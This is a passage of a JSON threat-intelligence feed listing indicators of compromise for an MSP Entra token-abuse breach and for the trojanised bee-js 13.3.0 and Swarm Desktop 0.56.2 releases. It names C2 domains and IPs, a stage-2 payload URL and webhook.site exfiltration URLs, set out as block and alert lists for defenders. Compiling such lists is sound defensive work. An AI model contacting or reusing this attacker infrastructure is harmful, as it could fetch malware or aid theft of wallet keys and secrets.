"med", "recommended_action": "alert", "description": "DigitalOcean host that tried a third-party password-reset app's client secret on 6 Nov 2026 at 22:04 (Python-urllib/3.6, curl/7.58.0), per Huntress.", "source_url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "source_label": "The Stack – MSP software firm hacked, customer Entra environments getting pwned (Huntress IOCs)", "source_name": "The Stack", "sources": [ { "url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "name": "The Stack" } ] }, { "value": "187.15.92.123", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "NordVPN exit IP used to obtain the first malicious token (curl/7.88.1); shared VPN exit, alert only.", "source_url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "source_label": "The Stack – MSP software firm hacked, customer Entra environments getting pwned (Huntress IOCs)", "source_name": "The Stack", "sources": [ { "url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "name": "The Stack" } ] }, { "value": "178.61.224.154", "type": "ipv4", "confidence": "low", "recommended_action": "alert", "description": "Residential proxy IP used in the 6–7 Nov 2026 password spray and client-secret attempts against MSP Process apps (Python-urllib/3.11, curl/7.88.1); Huntress says none obtained a token.", "source_url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "source_label": "The Stack – MSP software firm hacked, customer Entra environments getting pwned (Huntress IOCs)", "source_name": "The Stack", "sources": [ { "url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "name": "The Stack" } ] }, { "value": "46.148.159.8", "type": "ipv4", "confidence": "low", "recommended_action": "alert", "description": "Residential proxy IP used in the 6–7 Nov 2026 password spray and client-secret attempts against MSP Process apps (Python-urllib/3.11, curl/7.88.1); Huntress says none obtained a token.", "source_url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "source_label": "The Stack – MSP software firm hacked, customer Entra environments getting pwned (Huntress IOCs)", "source_name": "The Stack", "sources": [ { "url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "name": "The Stack" } ] }, { "value": "109.171.38.144", "type": "ipv4", "confidence": "low", "recommended_action": "alert", "description": "Residential proxy IP used in the 6–7 Nov 2026 password spray and client-secret attempts against MSP Process apps (Python-urllib/3.11, curl/7.88.1); Huntress says none obtained a token.", "source_url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "source_label": "The Stack – MSP software firm hacked, customer Entra environments getting pwned (Huntress IOCs)", "source_name": "The Stack", "sources": [ { "url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "name": "The Stack" } ] }, { "value": "213.5.16.40", "type": "ipv4", "confidence": "low", "recommended_action": "alert", "description": "Residential proxy IP used in the 6–7 Nov 2026 password spray and client-secret attempts against MSP Process apps (Python-urllib/3.11, curl/7.88.1); Huntress says none obtained a token.", "source_url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "source_label": "The Stack – MSP software firm hacked, customer Entra environments getting pwned (Huntress IOCs)", "source_name": "The Stack", "sources": [ { "url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "name": "The Stack" } ] }, { "value": "91.210.236.74", "type": "ipv4", "confidence": "low", "recommended_action": "alert", "description": "Residential proxy IP used in the 6–7 Nov 2026 password spray and client-secret attempts against MSP Process apps (Python-urllib/3.11, curl/7.88.1); Huntress says none obtained a token.", "source_url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "source_label": "The Stack – MSP software firm hacked, customer Entra environments getting pwned (Huntress IOCs)", "source_name": "The Stack", "sources": [ { "url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "name": "The Stack" } ] }, { "value": "202.44.193.79", "type": "ipv4", "confidence": "low", "recommended_action": "alert", "description": "Residential proxy IP used in the 6–7 Nov 2026 password spray and client-secret attempts against MSP Process apps (Python-urllib/3.11, curl/7.88.1); Huntress says none obtained a token.", "source_url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "source_label": "The Stack – MSP software firm hacked, customer Entra environments getting pwned (Huntress IOCs)", "source_name": "The Stack", "sources": [ { "url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "name": "The Stack" } ] }, { "value": "24.220.57.81", "type": "ipv4", "confidence": "low", "recommended_action": "alert", "description": "Residential proxy IP used in the 6–7 Nov 2026 password spray and client-secret attempts against MSP Process apps (Python-urllib/3.11, curl/7.88.1); Huntress says none obtained a token.", "source_url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "source_label": "The Stack – MSP software firm hacked, customer Entra environments getting pwned (Huntress IOCs)", "source_name": "The Stack", "sources": [ { "url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "name": "The Stack" } ] }, { "value": "188.137.78.112", "type": "ipv4", "confidence": "low", "recommended_action": "alert", "description": "Residential proxy IP used in the 6–7 Nov 2026 password spray and client-secret attempts against MSP Process apps (Python-urllib/3.11, curl/7.88.1); Huntress says none obtained a token.", "source_url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "source_label": "The Stack – MSP software firm hacked, customer Entra environments getting pwned (Huntress IOCs)", "source_name": "The Stack", "sources": [ { "url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "name": "The Stack" } ] }, { "value": "188.25.140.193", "type": "ipv4", "confidence": "low", "recommended_action": "alert", "description": "Residential proxy IP used in the 6–7 Nov 2026 password spray and client-secret attempts against MSP Process apps (Python-urllib/3.11, curl/7.88.1); Huntress says none obtained a token.", "source_url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "source_label": "The Stack – MSP software firm hacked, customer Entra environments getting pwned (Huntress IOCs)", "source_name": "The Stack", "sources": [ { "url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "name": "The Stack" } ] }, { "value": "193.188.198.233", "type": "ipv4", "confidence": "low", "recommended_action": "alert", "description": "Residential proxy IP used in the 6–7 Nov 2026 password spray and client-secret attempts against MSP Process apps (Python-urllib/3.11, curl/7.88.1); Huntress says none obtained a token.", "source_url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "source_label": "The Stack – MSP software firm hacked, customer Entra environments getting pwned (Huntress IOCs)", "source_name": "The Stack", "sources": [ { "url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "name": "The Stack" } ] }, { "value": "46.151.219.60", "type": "ipv4", "confidence": "low", "recommended_action": "alert", "description": "Residential proxy IP used in the 6–7 Nov 2026 password spray and client-secret attempts against MSP Process apps (Python-urllib/3.11, curl/7.88.1); Huntress says none obtained a token.", "source_url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "source_label": "The Stack – MSP software firm hacked, customer Entra environments getting pwned (Huntress IOCs)", "source_name": "The Stack", "sources": [ { "url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "name": "The Stack" } ] }, { "value": "178.205.170.18", "type": "ipv4", "confidence": "low", "recommended_action": "alert", "description": "Residential proxy IP used in the 6–7 Nov 2026 password spray and client-secret attempts against MSP Process apps (Python-urllib/3.11, curl/7.88.1); Huntress says none obtained a token.", "source_url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "source_label": "The Stack – MSP software firm hacked, customer Entra environments getting pwned (Huntress IOCs)", "source_name": "The Stack", "sources": [ { "url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "name": "The Stack" } ] }, { "value": "188.137.76.53", "type": "ipv4", "confidence": "low", "recommended_action": "alert", "description": "Residential proxy IP used in the 6–7 Nov 2026 password spray and client-secret attempts against MSP Process apps (Python-urllib/3.11, curl/7.88.1); Huntress says none obtained a token.", "source_url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "source_label": "The Stack – MSP software firm hacked, customer Entra environments getting pwned (Huntress IOCs)", "source_name": "The Stack", "sources": [ { "url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "name": "The Stack" } ] }, { "value": "213.226.214.89", "type": "ipv4", "confidence": "low", "recommended_action": "alert", "description": "Residential proxy IP used in the 6–7 Nov 2026 password spray and client-secret attempts against MSP Process apps (Python-urllib/3.11, curl/7.88.1); Huntress says none obtained a token.", "source_url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "source_label": "The Stack – MSP software firm hacked, customer Entra environments getting pwned (Huntress IOCs)", "source_name": "The Stack", "sources": [ { "url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "name": "The Stack" } ] }, { "value": "177.52.113.45", "type": "ipv4", "confidence": "low", "recommended_action": "alert", "description": "Residential proxy IP used in the 6–7 Nov 2026 password spray and client-secret attempts against MSP Process apps (Python-urllib/3.11, curl/7.88.1); Huntress says none obtained a token.", "source_url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "source_label": "The Stack – MSP software firm hacked, customer Entra environments getting pwned (Huntress IOCs)", "source_name": "The Stack", "sources": [ { "url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "name": "The Stack" } ] }, { "value": "46.253.235.237", "type": "ipv4", "confidence": "low", "recommended_action": "alert", "description": "Residential proxy IP used in the 6–7 Nov 2026 password spray and client-secret attempts against MSP Process apps (Python-urllib/3.11, curl/7.88.1); Huntress says none obtained a token.", "source_url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "source_label": "The Stack – MSP software firm hacked, customer Entra environments getting pwned (Huntress IOCs)", "source_name": "The Stack", "sources": [ { "url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "name": "The Stack" } ] }, { "value": "138.118.86.78", "type": "ipv4", "confidence": "low", "recommended_action": "alert", "description": "Residential proxy IP used in the 6–7 Nov 2026 password spray and client-secret attempts against MSP Process apps (Python-urllib/3.11, curl/7.88.1); Huntress says none obtained a token.", "source_url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "source_label": "The Stack – MSP software firm hacked, customer Entra environments getting pwned (Huntress IOCs)", "source_name": "The Stack", "sources": [ { "url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "name": "The Stack" } ] } ], "queries": [ { "platform": "Defender XDR", "language": "KQL", "name": "hunt.kql", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/MSP-Process-GDAP-Breach-Entra-Token-Abuse/hunt.kql", "download": "MSP-Process-GDAP-Breach-Entra-Token-Abuse_hunt.kql" }, { "platform": "Splunk", "language": "SPL", "name": "hunt.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/MSP-Process-GDAP-Breach-Entra-Token-Abuse/hunt.spl", "download": "MSP-Process-GDAP-Breach-Entra-Token-Abuse_hunt.spl", "alt": { "label": "No CIM? Raw-search version", "name": "hunt_raw.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/MSP-Process-GDAP-Breach-Entra-Token-Abuse/hunt_raw.spl", "download": "MSP-Process-GDAP-Breach-Entra-Token-Abuse_hunt_raw.spl" } }, { "platform": "Google SecOps", "language": "YARA-L 2.0", "name": "hunt.yaral", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/MSP-Process-GDAP-Breach-Entra-Token-Abuse/hunt.yaral", "download": "MSP-Process-GDAP-Breach-Entra-Token-Abuse_hunt.yaral" } ] }, { "id": "Ethersphere-bee-js-Swarm-Desktop-Supply-Chain-Attack", "folder": "threats/2026-11_November-2026/2026-11-10/Ethersphere-bee-js-Swarm-Desktop-Supply-Chain-Attack", "name": "Ethersphere bee-js and Swarm Desktop Supply-Chain Attack (SleepyDuck / evjawbreaker)", "short": "bee-js / Swarm Desktop supply chain", "category": "Supply chain / npm", "published": "2026-11-09", "entry_date": "2026-11-10 13:43", "last_updated": "2026-11-10", "seq": 5, "headline": "Malicious npm and desktop releases dropping a backdoor with Ethereum-based C2", "summary": "On 9 November 2026 an attacker abused Ethersphere's own GitHub release workflow to publish a malicious @ethersphere/bee-js 13.3.0 to npm and a trojanised Swarm Desktop 0.56.2 release on GitHub. Both carry a small loader that fetches and runs JavaScript from api.frameworkmetrics.xyz; later stages find their C2 through an Ethereum smart-contract dead drop shared with the SleepyDuck / EtherDuck campaign, steal Swarm wallet keys, and install the evjawbreaker backdoor on Linux and macOS or a rogue ScreenConnect client on Windows. npm removed 13.3.0 about 75 minutes after publication; the last clean bee-js version is 13.2.0.", "caveat": null, "targets": { "countries": [], "regions": [], "sectors": [ "Cryptocurrency and Web3" ], "note": "Swarm network node operators and developers who installed bee-js 13.3.0 or Swarm Desktop 0.56.2; the payload steals Swarm wallet keys. No countries named.", "source": { "url": "https://socket.dev/blog/bee-js-compromise", "label": "Socket – Malicious bee-js npm release and Swarm Desktop releases deliver SleepyDuck Ethereum C2 backdoor", "name": "Socket" } }, "mitre": [ { "id": "T1195.002", "name": "Compromise Software Supply Chain", "url": "https://attack.mitre.org/techniques/T1195/002/" }, { "id": "T1102.001", "name": "Dead Drop Resolver", "url": "https://attack.mitre.org/techniques/T1102/001/" }, { "id": "T1543.002", "name": "Systemd Service", "url": "https://attack.mitre.org/techniques/T1543/002/" }, { "id": "T1543.001", "name": "Launch Agent", "url": "https://attack.mitre.org/techniques/T1543/001/" }, { "id": "T1219", "name": "Remote Access Software", "url": "https://attack.mitre.org/techniques/T1219/" }, { "id": "T1567.004", "name": "Exfiltration Over Webhook", "url": "https://attack.mitre.org/techniques/T1567/004/" } ], "recommended_actions": [ "Search lockfiles and installed apps for @ethersphere/bee-js 13.3.0 and Swarm Desktop 0.56.2; pin bee-js to 13.2.0.", "Block the frameworkmetrics.xyz domains, the current evjawbreaker C2 IP and the exact webhook.site URLs; alert on historical SleepyDuck C2 IPs and the exact pastebin URL.", "On affected hosts look for ~/.solidity/, the solidity-langsupport persistence units and the rogue ScreenConnect service, then rebuild.", "Move any Swarm or Ethereum wallet funds to new keys and rotate npm, GitHub and CI secrets present on the host." ], "sources": [ { "url": "https://socket.dev/blog/bee-js-compromise", "label": "Socket – Malicious bee-js npm release and Swarm Desktop releases deliver SleepyDuck Ethereum C2 backdoor", "name": "Socket" }, { "url": "https://corgea.com/research/ethersphere-bee-js-13-3-0-swarm-desktop-0-56-2-evjawbreaker-ethereum-c2-november-2026", "label": "Corgea – bee-js 13.3.0 and Swarm Desktop 0.56.2 hijacked to deploy evjawbreaker", "name": "Corgea" }, { "url": "https://thehackernews.com/2026/11/hackers-compromise-etherspheres-bee-js.html", "label": "The Hacker News – Hackers compromise Ethersphere's bee-js", "name": "The Hacker News" }, { "url": "https://urlhaus.abuse.ch/host/107.189.27.223/", "label": "urlhaus.abuse.ch", "name": "URLhaus" }, { "url": "https://bazaar.abuse.ch/sample/d01fdf241aa9e0a1ba6ebc19f8f667af1bf652745021c5050126cb7036f7ce58/", "label": "bazaar.abuse.ch", "name": "MalwareBazaar" } ], "indicator_count": 57, "block_now_count": 37, "hunt_count": 20, "hunt_counts": { "alert": 16, "monitor": 4 }, "indicator_counts": { "sha256": 25, "url": 9, "filename": 8, "ipv4": 8, "eth_address": 4, "domain": 2, "sha1": 1 }, "ioas": [], "ioa_count": 0, "ioa_note": null, "files": [ { "name": "block_now.txt", "label": "Block list", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/Ethersphere-bee-js-Swarm-Desktop-Supply-Chain-Attack/block_now.txt", "download": "Ethersphere-bee-js-Swarm-Desktop-Supply-Chain-Attack_block_now.txt" }, { "name": "defender_xdr_indicators.csv", "label": "Defender XDR import", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/Ethersphere-bee-js-Swarm-Desktop-Supply-Chain-Attack/defender_xdr_indicators.csv", "download": "Ethersphere-bee-js-Swarm-Desktop-Supply-Chain-Attack_defender_xdr_indicators.csv" }, { "name": "hunt.kql", "label": "Hunting query (KQL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/Ethersphere-bee-js-Swarm-Desktop-Supply-Chain-Attack/hunt.kql", "download": "Ethersphere-bee-js-Swarm-Desktop-Supply-Chain-Attack_hunt.kql" }, { "name": "hunt.spl", "label": "Hunting query (SPL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/Ethersphere-bee-js-Swarm-Desktop-Supply-Chain-Attack/hunt.spl", "download": "Ethersphere-bee-js-Swarm-Desktop-Supply-Chain-Attack_hunt.spl" }, { "name": "hunt_raw.spl", "label": "Hunting query (SPL, raw events)", "note": "hunt_raw.spl, for data not mapped to CIM", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/Ethersphere-bee-js-Swarm-Desktop-Supply-Chain-Attack/hunt_raw.spl", "download": "Ethersphere-bee-js-Swarm-Desktop-Supply-Chain-Attack_hunt_raw.spl" }, { "name": "hunt.yaral", "label": "Hunting query (YARA-L 2.0)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/Ethersphere-bee-js-Swarm-Desktop-Supply-Chain-Attack/hunt.yaral", "download": "Ethersphere-bee-js-Swarm-Desktop-Supply-Chain-Attack_hunt.yaral" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/Ethersphere-bee-js-Swarm-Desktop-Supply-Chain-Attack/iocs.csv", "download": "Ethersphere-bee-js-Swarm-Desktop-Supply-Chain-Attack_iocs.csv" } ], "repo_url": "https://github.com/daniyyell-dev/rapid-threat-intel/tree/main/threats/2026-11_November-2026/2026-11-10/Ethersphere-bee-js-Swarm-Desktop-Supply-Chain-Attack", "share_url": "https://iocwatch.com/t/Ethersphere-bee-js-Swarm-Desktop-Supply-Chain-Attack/", "indicators": [ { "value": "frameworkmetrics.xyz", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Parent domain of the stage-1/2 loader C2 used by the trojanised bee-js 13.3.0 and Swarm Desktop 0.56.2.", "source_url": "https://corgea.com/research/ethersphere-bee-js-13-3-0-swarm-desktop-0-56-2-evjawbreaker-ethereum-c2-november-2026", "source_label": "Corgea – bee-js 13.3.0 and Swarm Desktop 0.56.2 hijacked to deploy evjawbreaker", "source_name": "Corgea", "sources": [ { "url": "https://corgea.com/research/ethersphere-bee-js-13-3-0-swarm-desktop-0-56-2-evjawbreaker-ethereum-c2-november-2026", "name": "Corgea" }, { "url": "https://socket.dev/blog/bee-js-compromise", "name": "Socket" }, { "url": "https://thehackernews.com/2026/11/hackers-compromise-etherspheres-bee-js.html", "name": "The Hacker News" } ] }, { "value": "api.frameworkmetrics.xyz", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Loader C2 host contacted by the bee-js 13.3.0 and Swarm Desktop 0.56.2 loader to fetch and run JavaScript (requests carry header X-Ethersphere: 1).", "source_url": "https://socket.dev/blog/bee-js-compromise", "source_label": "Socket – Malicious bee-js npm release and Swarm Desktop releases deliver SleepyDuck Ethereum C2 backdoor", "source_name": "Socket", "sources": [ { "url": "https://socket.dev/blog/bee-js-compromise", "name": "Socket" }, { "url": "https://corgea.com/research/ethersphere-bee-js-13-3-0-swarm-desktop-0-56-2-evjawbreaker-ethereum-c2-november-2026", "name": "Corgea" }, { "url": "https://thehackernews.com/2026/11/hackers-compromise-etherspheres-bee-js.html", "name": "The Hacker News" } ] }, { "value": "https://api.frameworkmetrics.xyz/v1/analytics", "type": "url", "confidence": "high", "recommended_action": "block", "description": "Loader C2 endpoint /v1/analytics used for payload delivery, assets or exfiltration; covered by the domain block.", "source_url": "https://corgea.com/research/ethersphere-bee-js-13-3-0-swarm-desktop-0-56-2-evjawbreaker-ethereum-c2-november-2026", "source_label": "Corgea – bee-js 13.3.0 and Swarm Desktop 0.56.2 hijacked to deploy evjawbreaker", "source_name": "Corgea", "sources": [ { "url": "https://corgea.com/research/ethersphere-bee-js-13-3-0-swarm-desktop-0-56-2-evjawbreaker-ethereum-c2-november-2026", "name": "Corgea" }, { "url": "https://socket.dev/blog/bee-js-compromise", "name": "Socket" } ] }, { "value": "https://api.frameworkmetrics.xyz/v1/electron", "type": "url", "confidence": "high", "recommended_action": "block", "description": "Loader C2 endpoint /v1/electron used for payload delivery, assets or exfiltration; covered by the domain block.", "source_url": "https://corgea.com/research/ethersphere-bee-js-13-3-0-swarm-desktop-0-56-2-evjawbreaker-ethereum-c2-november-2026", "source_label": "Corgea – bee-js 13.3.0 and Swarm Desktop 0.56.2 hijacked to deploy evjawbreaker", "source_name": "Corgea", "sources": [ { "url": "https://corgea.com/research/ethersphere-bee-js-13-3-0-swarm-desktop-0-56-2-evjawbreaker-ethereum-c2-november-2026", "name": "Corgea" }, { "url": "https://socket.dev/blog/bee-js-compromise", "name": "Socket" } ] }, { "value": "https://api.frameworkmetrics.xyz/v1/assets/", "type": "url", "confidence": "high", "recommended_action": "block", "description": "Loader C2 endpoint /v1/assets/ used for payload delivery, assets or exfiltration; covered by the domain block.", "source_url": "https://corgea.com/research/ethersphere-bee-js-13-3-0-swarm-desktop-0-56-2-evjawbreaker-ethereum-c2-november-2026", "source_label": "Corgea – bee-js 13.3.0 and Swarm Desktop 0.56.2 hijacked to deploy evjawbreaker", "source_name": "Corgea", "sources": [ { "url": "https://corgea.com/research/ethersphere-bee-js-13-3-0-swarm-desktop-0-56-2-evjawbreaker-ethereum-c2-november-2026", "name": "Corgea" } ] }, { "value": "https://api.frameworkmetrics.xyz/v1/swarm/report", "type": "url", "confidence": "high", "recommended_action": "block", "description": "Loader C2 endpoint /v1/swarm/report used for payload delivery, assets or exfiltration; covered by the domain block.", "source_url": "https://corgea.com/research/ethersphere-bee-js-13-3-0-swarm-desktop-0-56-2-evjawbreaker-ethereum-c2-november-2026", "source_label": "Corgea – bee-js 13.3.0 and Swarm Desktop 0.56.2 hijacked to deploy evjawbreaker", "source_name": "Corgea", "sources": [ { "url": "https://corgea.com/research/ethersphere-bee-js-13-3-0-swarm-desktop-0-56-2-evjawbreaker-ethereum-c2-november-2026", "name": "Corgea" }, { "url": "https://socket.dev/blog/bee-js-compromise", "name": "Socket" } ] }, { "value": "193.57.9.155", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "Current evjawbreaker TLS C2 hub on port 4912, resolved through the Ethereum dead-drop contract.", "source_url": "https://socket.dev/blog/bee-js-compromise", "source_label": "Socket – Malicious bee-js npm release and Swarm Desktop releases deliver SleepyDuck Ethereum C2 backdoor", "source_name": "Socket", "sources": [ { "url": "https://socket.dev/blog/bee-js-compromise", "name": "Socket" }, { "url": "https://corgea.com/research/ethersphere-bee-js-13-3-0-swarm-desktop-0-56-2-evjawbreaker-ethereum-c2-november-2026", "name": "Corgea" }, { "url": "https://thehackernews.com/2026/11/hackers-compromise-etherspheres-bee-js.html", "name": "The Hacker News" } ] }, { "value": "193.57.9.17", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Historical evjawbreaker/SleepyDuck C2 hub on port 4912 tied to the same Ethereum contract; VPS hosting that may be reassigned.", "source_url": "https://socket.dev/blog/bee-js-compromise", "source_label": "Socket – Malicious bee-js npm release and Swarm Desktop releases deliver SleepyDuck Ethereum C2 backdoor", "source_name": "Socket", "sources": [ { "url": "https://socket.dev/blog/bee-js-compromise", "name": "Socket" }, { "url": "https://corgea.com/research/ethersphere-bee-js-13-3-0-swarm-desktop-0-56-2-evjawbreaker-ethereum-c2-november-2026", "name": "Corgea" } ] }, { "value": "178.16.54.222", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Historical evjawbreaker/SleepyDuck C2 hub on port 4912 tied to the same Ethereum contract; VPS hosting that may be reassigned.", "source_url": "https://socket.dev/blog/bee-js-compromise", "source_label": "Socket – Malicious bee-js npm release and Swarm Desktop releases deliver SleepyDuck Ethereum C2 backdoor", "source_name": "Socket", "sources": [ { "url": "https://socket.dev/blog/bee-js-compromise", "name": "Socket" }, { "url": "https://corgea.com/research/ethersphere-bee-js-13-3-0-swarm-desktop-0-56-2-evjawbreaker-ethereum-c2-november-2026", "name": "Corgea" } ] }, { "value": "107.189.27.223", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Historical evjawbreaker/SleepyDuck C2 hub on port 4912 tied to the same Ethereum contract; VPS hosting that may be reassigned.", "source_url": "https://socket.dev/blog/bee-js-compromise", "source_label": "Socket – Malicious bee-js npm release and Swarm Desktop releases deliver SleepyDuck Ethereum C2 backdoor", "source_name": "Socket", "sources": [ { "url": "https://socket.dev/blog/bee-js-compromise", "name": "Socket" }, { "url": "https://corgea.com/research/ethersphere-bee-js-13-3-0-swarm-desktop-0-56-2-evjawbreaker-ethereum-c2-november-2026", "name": "Corgea" }, { "url": "https://urlhaus.abuse.ch/host/107.189.27.223/", "name": "URLhaus" } ] }, { "value": "107.189.27.46", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Historical evjawbreaker/SleepyDuck C2 hub on port 4912 tied to the same Ethereum contract; VPS hosting that may be reassigned.", "source_url": "https://socket.dev/blog/bee-js-compromise", "source_label": "Socket – Malicious bee-js npm release and Swarm Desktop releases deliver SleepyDuck Ethereum C2 backdoor", "source_name": "Socket", "sources": [ { "url": "https://socket.dev/blog/bee-js-compromise", "name": "Socket" }, { "url": "https://corgea.com/research/ethersphere-bee-js-13-3-0-swarm-desktop-0-56-2-evjawbreaker-ethereum-c2-november-2026", "name": "Corgea" } ] }, { "value": "91.108.240.156", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Historical evjawbreaker/SleepyDuck C2 hub on port 4912 tied to the same Ethereum contract; VPS hosting that may be reassigned.", "source_url": "https://socket.dev/blog/bee-js-compromise", "source_label": "Socket – Malicious bee-js npm release and Swarm Desktop releases deliver SleepyDuck Ethereum C2 backdoor", "source_name": "Socket", "sources": [ { "url": "https://socket.dev/blog/bee-js-compromise", "name": "Socket" }, { "url": "https://corgea.com/research/ethersphere-bee-js-13-3-0-swarm-desktop-0-56-2-evjawbreaker-ethereum-c2-november-2026", "name": "Corgea" } ] }, { "value": "107.189.16.215", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Historical evjawbreaker/SleepyDuck C2 hub on port 4912 tied to the same Ethereum contract; VPS hosting that may be reassigned.", "source_url": "https://socket.dev/blog/bee-js-compromise", "source_label": "Socket – Malicious bee-js npm release and Swarm Desktop releases deliver SleepyDuck Ethereum C2 backdoor", "source_name": "Socket", "sources": [ { "url": "https://socket.dev/blog/bee-js-compromise", "name": "Socket" }, { "url": "https://corgea.com/research/ethersphere-bee-js-13-3-0-swarm-desktop-0-56-2-evjawbreaker-ethereum-c2-november-2026", "name": "Corgea" } ] }, { "value": "http://107.189.27.46:3000/app.js", "type": "url", "confidence": "med", "recommended_action": "alert", "description": "Secondary payload URL parameter listed by Socket for the stage-2 loader.", "source_url": "https://socket.dev/blog/bee-js-compromise", "source_label": "Socket – Malicious bee-js npm release and Swarm Desktop releases deliver SleepyDuck Ethereum C2 backdoor", "source_name": "Socket", "sources": [ { "url": "https://socket.dev/blog/bee-js-compromise", "name": "Socket" }, { "url": "https://corgea.com/research/ethersphere-bee-js-13-3-0-swarm-desktop-0-56-2-evjawbreaker-ethereum-c2-november-2026", "name": "Corgea" } ] }, { "value": "185.232.84.169", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "Rogue ScreenConnect relay (port 8041) used by the Windows stage-3 ScreenConnect client.", "source_url": "https://socket.dev/blog/bee-js-compromise", "source_label": "Socket – Malicious bee-js npm release and Swarm Desktop releases deliver SleepyDuck Ethereum C2 backdoor", "source_name": "Socket", "sources": [ { "url": "https://socket.dev/blog/bee-js-compromise", "name": "Socket" }, { "url": "https://corgea.com/research/ethersphere-bee-js-13-3-0-swarm-desktop-0-56-2-evjawbreaker-ethereum-c2-november-2026", "name": "Corgea" }, { "url": "https://thehackernews.com/2026/11/hackers-compromise-etherspheres-bee-js.html", "name": "The Hacker News" } ] }, { "value": "https://webhook.site/fdc222d5-2e6c-4122-801d-93099f3fe827", "type": "url", "confidence": "high", "recommended_action": "block", "description": "webhook.site collector that receives stolen data; block this exact URL only, because webhook.site itself is a legitimate shared service.", "source_url": "https://socket.dev/blog/bee-js-compromise", "source_label": "Socket – Malicious bee-js npm release and Swarm Desktop releases deliver SleepyDuck Ethereum C2 backdoor", "source_name": "Socket", "sources": [ { "url": "https://socket.dev/blog/bee-js-compromise", "name": "Socket" } ] }, { "value": "https://webhook.site/46358b99-9cff-4f14-97bc-4a436086e826", "type": "url", "confidence": "high", 